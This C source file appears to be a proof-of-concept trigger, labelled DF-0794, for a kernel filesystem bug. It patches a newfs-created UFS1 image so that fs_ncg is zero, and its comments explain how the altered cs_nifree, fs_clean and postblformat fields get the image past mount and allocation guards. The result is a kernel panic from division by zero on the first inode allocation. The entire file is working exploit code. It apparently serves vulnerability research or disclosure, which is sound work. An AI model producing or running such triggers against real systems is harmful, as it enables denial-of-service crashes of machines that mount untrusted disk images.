DF-0794 / patch_image.c
/* * patch_image.c - DF-0794 trigger helper. * * Patches a UFS1 superblock (created by `newfs`) so that fs_ncg = 0, * fs_cstotal.cs_nifree = 1 (to bypass the nifree==0 guard at * ffs_alloc.c:596), and fs_clean = 1 (so it mounts read/write). * * The image is otherwise a valid newfs'd UFS1 filesystem. ffs_mountfs * (ffs_vfsops.c:642-646) only validates fs_magic / fs_bsize, so the * crafted image mounts cleanly; the panic is deferred to the first * inode allocation, where ffs_dirpref divides by fs_ncg. * * Usage: ./patch_image <image-file> */ #include <sys/types.h> #include <sys/param.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <vfs/ufs/ufs_types.h> #include <vfs/ufs/fs.h> int main(int argc, char **argv) { const char *path; int fd; struct fs sb; if (argc != 2) { fprintf(stderr, "usage: %s <image>\n", argv[0]); return 2; } path = argv[1]; fd = open(path, O_RDWR); if (fd < 0) { perror("open"); return 2; } if (lseek(fd, (off_t)SBOFF, SEEK_SET) != (off_t)SBOFF) { perror("lseek"); return 2; } if (read(fd, &sb, sizeof(sb)) != (ssize_t)sizeof(sb)) { perror("read"); return 2; } printf("BEFORE: magic=0x%08x ncg=%d bsize=%d sbsize=%d cssize=%d " "cstotal.cs_nifree=%d clean=%d postblformat=%d contigsumsize=%d\n", sb.fs_magic, sb.fs_ncg, sb.fs_bsize, sb.fs_sbsize, sb.fs_cssize, sb.fs_cstotal.cs_nifree, sb.fs_clean, sb.fs_postblformat, sb.fs_contigsumsize); if (sb.fs_magic != FS_MAGIC) { fprintf(stderr, "not a UFS1 filesystem (magic=0x%x)\n", sb.fs_magic); return 2; } /* The vulnerability: set the divisor to zero. */ sb.fs_ncg = 0; /* Force the cs_nifree!=0 guard at ffs_alloc.c:596 to pass so we * actually reach ffs_dirpref. */ sb.fs_cstotal.cs_nifree = 1; /* Mark clean so it mounts read/write without forcing. */ sb.fs_clean = 1; /* Avoid the FS_42POSTBLFMT reject at ffs_vfsops.c:664. */ if (sb.fs_postblformat == FS_42POSTBLFMT) sb.fs_postblformat = 0; if (lseek(fd, (off_t)SBOFF, SEEK_SET) != (off_t)SBOFF) { perror("lseek2"); return 2; } if (write(fd, &sb, sizeof(sb)) != (ssize_t)sizeof(sb)) { perror("write"); return 2; } if (close(fd) < 0) { perror("close"); return 2; } printf("AFTER : magic=0x%08x ncg=%d bsize=%d sbsize=%d cssize=%d " "cstotal.cs_nifree=%d clean=%d postblformat=%d contigsumsize=%d\n", sb.fs_magic, sb.fs_ncg, sb.fs_bsize, sb.fs_sbsize, sb.fs_cssize, sb.fs_cstotal.cs_nifree, sb.fs_clean, sb.fs_postblformat, sb.fs_contigsumsize); printf("patched %s: fs_ncg=0, fs_cstotal.cs_nifree=1, fs_clean=1\n", path); return 0; } |